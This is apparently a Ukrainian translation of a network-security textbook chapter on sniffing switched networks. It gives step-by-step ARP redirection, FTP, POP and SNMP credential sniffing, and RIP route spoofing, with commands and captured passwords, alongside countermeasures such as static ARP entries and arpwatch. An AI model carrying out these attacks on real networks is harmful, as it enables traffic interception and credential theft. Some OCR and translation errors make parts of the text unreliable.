Аналіз пакетів на комутаторі мережі
На перший погляд здається, що для підвищення швидкості і рівня безпеки можна просто додати в мережу новий комутатор. Якщо ви вважаєте, що це дозволить утримати допитливих користувачів від прослуховування інтенсивного мережевого трафіку, то така позиція може викликати лише усмішку. Невже ви думаєте, що новий комутатор здатний вирішити всі існуючі проблеми? Подумайте гарненько ще раз.
Протокол ARP (Address Resolution Protocol — протокол дозволу адрес, RFC 826) забезпечує динамічне перетворення 32-бітових IP-адресов в 48-бітові фізичні адреси мережевих пристроїв. Коли вузлу потрібно звернутися до сусідніх пристроїв з тієї ж мережі (включаючи шлюз, використовуваний за умовчанням), він розсилає широкомовні повідомлення ARP для пошуку фізичної адреси необхідного вузла. Відповідний вузол відповідає на запит ARP, повідомляючи свою фізичну адресу, після чого і починається взаємодія.
На жаль, трафік ARP з початкового вузла можна перенаправити на комп'ютер зломщика. Це можна здійснити навіть в мережах з комутацією пакетів. Перехоплені повідомлення можна проглянути з використанням аналізатора мережевих пакетів, а потім передати їх в реальний пункт призначення. Цей сценарій відомий як атака із застосуванням "третього середнього" (man in the middle). Такий підхід виявляється відносно простим. Розглянемо його реалізацію на прикладі.
Перенаправлення ARP
У даному прикладі три комп'ютери сполучено з мережевим комутатором. Система crush є шлюзом, заданим за умовчанням,
з IP-адресом 10.1.1.1. Комп'ютер shadow— це початковий вузол
з IP-адресом 10.1.1.18. Система twister є комп'ютером зломщика, який виконуватиме роль "третьего-среднего". Його IP-адрес 10.1.1.19. Для підготовки нападу на вузлі twister запустимо утиліту arpredirect, що входить до складу пакету dsniff Дага Сонга. Ця утиліта дозволить нам перехоплювати пакети, передавані початковим вузлом по мережі іншому вузлу, який зазвичай є шлюзом, використовуваним за умовчанням.
Перш ніж приступити до вивчення цього підходу у власній мережі, обговорите це питання з мережевим адміністратором. Якщо на вашому комутаторі включений режим захисту портів, то це може привести до блокування всіх користувачів, що звернулися до нього.
Не забувайте про те, що всі комп'ютери сполучені з комутатором і у нас є можливість проглядати лише широкомовний мережевий трафік. Проте як показано нижче, за допомогою утиліти arpredirect ми зможемо проглянути весь потік повідомлень, передаваний між вузлами shadow і crush.
На вузлі twister здійснимий наступну команду.
[twister] ping crush
PING 10.1.1.1 from 10.1.1.19 : 56(84) bytes of data.
64 bytes from 10.1.1.1: icmp_seq=0 ttl=128 time=1.3 ms
[twister] ping shadow
PING 10.1.1.18 from 10.1.1.19 : 56(84) bytes of data.
64 bytes from 10.1.1.18: icmp_seq=0 ttl=255 time=5.2 ms
В результаті в таблицю ARP комп'ютера twister буде поміщена фізична адреса відповідних вузлів, які знадобляться при запуску утиліти arpredirect.
[twister] arpredirect -t 10.1.1.18 10.1.1.1
intercepting traffic from 10.1.1.18 to 10.1.1.1 (^С to exit)...
Після виконання цієї команди весь потік повідомлень, передаваний з вузла shadow на використовуваний за умовчанням шлюз crush, перенаправлятиметься на комп'ютер зломщика, twister. На цьому вузлі необхідно також включити режим подальшої передачі IP-пакетов (forwarding IP traffic), щоб він функціонував як маршрутизатор і після перехоплення повідомлень з вузла shadow перенаправляв їх на вузол crush. На комп'ютері twister режим передачі пакетів можна активізувати на рівні ядра, проте робити цього не рекомендується, оскільки в цьому випадку можуть передаватися також пакети ICMP, що може привести до порушення всього процесу. Замість цього скористаємося утилітою fragrouter
(http://www.anzen.com/ research/nidsbench/fragrouter.html) і активізуємо звичайний режим передачі IP-пакетов за допомогою наступної команди.
[twister] fragrouter -bl
fragrouter: base-1: normal IP forwarding
10.1.1.18.2079 > 192.168.20.20.21: S 592459704:592459704(0)
10.1.1.18.2079 > 192.168.20.20.21: P 592459705:592459717(12)
10.1.1.18.2079 > 192.168.20.20.21: . аськ 235437339
10.1.1.18.2079 > 192.168.20.20.21: P 592459717:592459730(13) <вивід скорочений>
І нарешті, на вузлі twister потрібно активізувати просту програму аналізу пакетів, щоб мати можливість перехоплювати всі цінні дані. Для отримання докладнішої інформації про аналізатори мережевих пакетів читайте розділи 6 і 8.
[twister] linsniff
Linux Sniffer Beta v. 99 Log opened.
-----[SYN] (slot 1)
10.1.1.18 => 192.168.20.20 [21]
USER saumil
PASS lamdaman!!
PORT 10,1,1,18,8,35 NLST QUIT
-----[SYN] (slot 1)
10.1.1.18 => 192.168.20.20 [110]
USER saumil PASS lamowned
[FIN] (1)
Тепер подивимося, що ж відбудеться. Після запуску утиліти arpredirect вузол twister передаватиме фальшиві ARP-ответы вузлу shadow і видавати себе за вузол crush. Вузол shadow успішно відновить свою таблицю ARP і помістить в неї "нову" фізичну адресу вузла crush. Після цього користувач комп'ютера shadow почне сеанс FTP і POP з вузлом 192.168.20.20. Проте замість передачі пакетів на комп'ютер crush, реальний використовуваний за умовчанням шлюз, вузол shadow буде введений в оману, оскільки в його таблицю ARP були внесені відповідні зміни. Через вузол twister весь трафік перенаправлятиметься на вузол 192.168.20. 20, оскільки за допомогою утиліти fragrouter ми активізували режим перенаправлення IP-пакетов. Іншими словами, вузол twister гратиме роль маршрутизатора.
У розглянутому прикладі ми просто перенаправили всі мережеві пакети, передавані з вузла shadow на вузол crush. Проте цілком можливо перенаправити весь трафік на вузол twister, опустивши параметр -t.
[twister] arpredirect 10.1.1.1
intercepting traffic from LAN to 10.1.1.1 (ЛС to exit)...
Неважко здогадатися, що в мережі з інтенсивним трафіком це приведе до справжнього хаосу.
Якщо ви не дуже добре знайомі з системою UNIX, то у вас може виникнути закономірне питання: чи можна утиліту arpredirect використовувати в системі Windows. На жаль, утиліта arpredirect не перенесена на цю платформу, але ніщо не заважає нам скористатися альтернативними варіантами. Для деяких комутаторів можна встановити мережеве підключення до порту простого концентратора. Потім до цього концентратора можна підключити комп'ютер з системою UNIX, на якому запущена утиліта arpredirect, а також комп'ютер під управлінням Windows, на якому запушена вибрана вами програма-аналізатор. Система UNIX успішно перенаправлятиме весь трафік, тоді як система Windows його перехоплюватиме на локальному концентраторі.
Контрзаходи: запобігання перенаправленіяавр
Як
ви побачили в попередньому розділі, не складає жодних проблем генерувати помилкові відповіді ARP і модифікувати таблицю ARP на більшості вузлів локальної мережі. Де це тільки можливо, задавайте статичні записи таблиці ARP, особливо
на важливих системах. Стандартний прийом полягає в завданні статичних записів АКР, що визначають взаємодію брандмауера і прикордонних маршрутизаторів. Це можна реалізувати таким чином.
[shadow] arp -s crush 00:00:с5:74:еа:во
[shadow] arp -a
crush (10.1.1.1) at 00:00:05:74:еа:во [ether] PERM on etho
Звернете увагу на прапор PERM, який є ознакою статичного запису ARP.
Використання постійних статичних маршрутів для внутрішніх мережевих вузлів є не найпоширенішою практикою в світі. Тому можна застосовувати утиліту arpwatch, призначену для відстежування пар АКР-АДРЕС/IР-АДРЕС і повідомлення про будь-які виявлені зміни.
Для активізації цього режиму запустите утиліту arpwatch, вказавши при цьому інтерфейс, моніторинг якого потрібно здійснювати.
[crush] .arpwatch -i rl0
Як видно з наступного прикладу, утиліта arpwatch виявила роботу утиліти arpredirect і помістила відповідний запис в журнал /var/log/messages.
May 21 12:28:49 crush: flip
flop 10.1.1.1 0:50:56:bd:2a:f5 (0:0:c5:74:ea:bo)
Оскільки подібну діяльність виявити не дуже легко, то такий моніторинг буде корисний при її ідентифікації.
snmpsniff
Якщо ваш комп'ютер знаходиться в сегменті мережі з множинним доступом, то зовсім непогано її "прослуховувати" і дізнатися, що ж в ній відбувається. Скористайтеся могутнім аналізатором пакетів Snifferpro компанії Network Associates або запустите утиліту snmpsnif f, розроблену Нуно Лєїтао (Nuno Leitao, nuno.leitao@convex.pt). а потім подивитеся, яку інформацію ви отримали.
Утиліта snmpsniff — це прекрасний засіб для перехоплення не тільки рядків доступу, але і запитів SNMP. Досить запустити її з вказаними нижче параметрами, щоб практично гарантовано отримати щось цікаве.
[root@kramer snmpsniff-0.9b]# ./snmpsniff.sh
snmpsniffer: listening or. etho
(05:46:12) 172.31.50.100(secret)-» 172.31.50.2 (Reqid:1356392156)
GET:
<.iso.org.dod.internet.ragmt.mib-2.system.1.0>(NULL)
= NULL (05:46:12) 172.31.50.2(secret)-» 172.31.50.100 (Reqid:1356392156)
RESPONSE (Err:0): <.iso.org.dod.internet.mgmt.mib-2.system.1.0>
(Octet String) = OCTET STRING- (ascii) : Cisco Internetwork
Operating System Software ..IOS (tin) 3000 Software (IGS-I-L)
Version 11.0(16), RELEASE SOFTWARE (fcl)..Copyright (c) 1986-1997
by Cisco Systems, Inc...Compiled
Tue 24-Jun-97 12:20 by jaturner
Як
видно з приведеного вище фрагмента, зловмисникові вдалося дізнатися один з рядків доступу (secret), який може виявитися рядком доступу, що дозволяє не тільки отримувати, але і записувати дані на маршрутизатор 172.31.50.2 за
допомогою SNMP. Тепер зловмисник зможе дістати доступ не тільки до пристроїв вашої мережі, але і спробувати зламати ще одну "жертву" — комп'ютер з IP-адресом 172.31.50.100.
Контрзаходи: захист трафіку ЗММР
Один
із захисних мерів, що дозволяють запобігти перехопленню трафіку SNMP, полягає в його шифруванні. У обох версіях цього протоколу, Snmp\2 і Snmpvs, є можливість застосування алгоритмів шифрування і стандарту DES для шифрування конфіденційної інформації. Альтернативний підхід полягає в реалізації захищеного каналу на базі приватної віртуальної мережі (VPN — Virtual Private Network). При використанні клієнтського програмного забезпечення VPN, розробленого компанією Entrust
(http://www.entrust.com) або компанією Nortelnetworks (http://www.nortelnetworks.com), гарантується шифрування трафіку між клієнтським вузлом і кінцем каналу VPN.
Помилкові пакети RIP
Після успішної ідентифікації маршрутизаторів вашої мережі, досвідчений зломщик напевно зробить спробу знайти ті з них, які підтримують протокол маршрутизації RIP (Routing Information Protocol) версії 1 (RFC 1058) або 2 (RFC 1723). Чому? Річ у тому, що з його допомогою легко згенерувати помилкові пакети. Пояснюється це наступними причинами.
- Протокол RIP базується на протоколі UDP
(порт UDP 520) і таким чином також не вимагає наявності відкритого
з'єднання (connectionless). Іншими словами, відповідний пакет буде
прийнятий від будь-якого вузла, не дивлячись на те, що такий пакет
ніколи не був відправлений.
- У протоколі RIP версії 1 відсутній
механізм аутентифікації, що дозволяє будь-якому вузлу відправити пакет
маршрутизатору RIP і отримати необхідні дані.
- Протокол RIP версії 2 підтримує спрощену аутентифікацію, що дозволяє використовувати паролі у вигляді незашифрованого тексту завдовжки 16 байт. Проте, як тепер вам відомо, подібні паролі можна без проблем перехопити.
В результаті зломщик може просто відправити маршрутизатору RIP помилкові пакети і вказати, щоб пакети передавалися в іншу мережу або вузол, а не на необхідний вузол. От як можна здійснити атаку за допомогою помилкових пакетів RIP.
1. Ідентифікуйте маршрутизатор RIP, який ви плануєте атакувати. Для цього виконаєте сканування UDP-порта з номером 520.
2. Визначите таблицю маршрутизації.
- Якщо ви знаходитеся в тому ж фізичному
сегменті, що і маршрутизатор, і можете перехоплювати мережевий трафік,
то досить просто прослуховувати широкомовний трафік RIP і отримати з
нього всю інформацію, що цікавить, про записи маршрутизації (якщо ви
маєте справу з активним маршрутизатором RIP) або запитати маршрути (у
разі пасивного або активного маршрутизатора RIP).
- Якщо ви знаходитеся на видаленому вузлі або позбавлені можливості перехоплювати пакети, то можна скористатися простою утилітою rprobe. Запустивши цю утиліту в одному вікні, можна передати маршрутизатору RIP запит про доступні маршрути:
[roottt] rprobe -v 192.168.51.102
Sending packet
Sent 24 bytes.
- За допомогою утиліти tcpdump (або іншої програми перехоплення пакетів), запущеною в іншому вікні, можна прочитати відповідь маршрутизатора.
---- RIP Header---- Routing data
frame 1
Address family identifier = 2 (IP)
IP address = [10.42.33.0]
Metric = 3 Routing data
frame 2
Address family identifier = 2 (IP)
IP address = [10.45.33.0]
Metric = 3 Routing
data frame 2
Address family identifier = 2 (IP)
IP address = [10.45.33.0]
Metric = 1
3. Визначите якнайкращий напрям атаки. Тип атаки обмежується лише фантазією зломщика, проте в даному прикладі ми перенаправимо весь трафік на певний вузол через наш власний комп'ютер, щоб можна було проаналізувати всі пакети і, не виключено, витягувати з них інформацію про паролі. Для цього на маршрутизатор RIP (192.168.51.102) необхідно додати наступний маршрут.
IP-адрес = 10.45.33.10
Маска підмережі =255.255.255.255
Шлюз = 172.16.41.200
Метрика = 1
4. Додайте маршрут. Для цього за допомогою утиліти srip передайте маршрутизатору помилковий пакет із статичним маршрутом.
[root#] srip -2 -n 255.255.255.255 172.16.41.200 192.168.51.102 10.45.33.10 1
5. Тепер всі пакети, призначені для вузла 10.45.33.1 (який може бути будь-яким сервером, що містить конфіденційну інформацію), перенаправлятимуться на наш комп'ютер (172.16.41.200) для подальшої передачі. Звичайно, для подальшої передачі цих пакетів необхідно скористатися утилітою fragrouter або будь-яким іншим засобом рівня ядра.
Утиліта fragrouter
[root*] ./fragrouter -bl
Передача пакетів на рівні ядра
[roottt] vi /proc/sys/net/ipv4/ip_forward (change 0 to 1)
6. Встановите свій улюблений аналізатор пакетів для системи Linux (наприклад, програму dsnif f), а потім приступите до перегляду "на льоту" імен користувачів і паролів.
Як видно з наступного малюнка, звичайний потік повідомлень з вузла DIANE можна без проблем перенаправити через комп'ютер зломщика (PAUL) і лише потім передати їх далі на вузол призначення
(FRASIER).
Контрзаходи: захист від помилкових пакетів RIP
- Забороните підтримку протоколу RIP на
своєму маршрутизаторі. У протокол OSPF (Open Shortest Path First)
вбудовані захищеніші механізми аутентифікації, які обмежують можливості
зломщика по використанню помилкових пакетів RIP.
- Якщо це можливо, взагалі забороните на прикордонному маршрутизаторі обробку вхідних пакетів RIP (порти 521 Tcp/udp). Вимагайте використання лише статичних маршрутів.
|